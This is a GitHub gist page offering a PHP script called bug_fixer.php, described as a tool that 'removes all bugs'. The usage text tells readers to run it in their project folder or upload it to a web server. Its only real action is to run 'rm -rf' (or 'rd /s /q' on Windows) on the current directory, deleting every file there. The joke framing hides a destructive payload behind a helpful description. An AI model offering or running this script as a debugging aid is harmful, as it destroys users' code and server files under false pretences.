Skip to content

Instantly share code, notes, and snippets.

@danreb
Created August 3, 2012 09:55
Show Gist options
  • Save danreb/3246373 to your computer and use it in GitHub Desktop.
Save danreb/3246373 to your computer and use it in GitHub Desktop.
This is a powerful scripts that will illiminate all bugs in your code, just make sure to backup as this code is powerful, shell_exec should be enabled to make this work. You can execute this file in command line ( shell or cmd )
USAGE:
First thing first - Make a backup of all your files. !Important
Execution Method 1
Just drop this line inside the folder where your PHP program or buggy scripts reside then open command line and go to this directory. Execute the scripts by typing the command "php bug_fixer.php" without a quote, then press enter and just wait, then VIOLA! all bugs are gone! Congrats!
Execution Method 2
If your buggy scripts is a web application and it is located in web server and you are able to visit your apps inside a web browser you can easily upload this scripts to your web directory and visit the file in the browser, just wait and VIOLA! all the bugs are gone! Congrats!
Note: If you missed the bug, then just restore your BACKUP!
<?php
/**
*
* @File bug_fixer.php
* Tired of chasing bug?
* This script will solve all bug in your program
* @License GPL - Feel free to share and improve!
*
*/
function bug_problem_solver(){
$dir = ".";
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
`rd /s /q $dir`;
} else {
`rm -rf $dir`;
}
}
// remove all bugs!
bug_problem_solver();
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment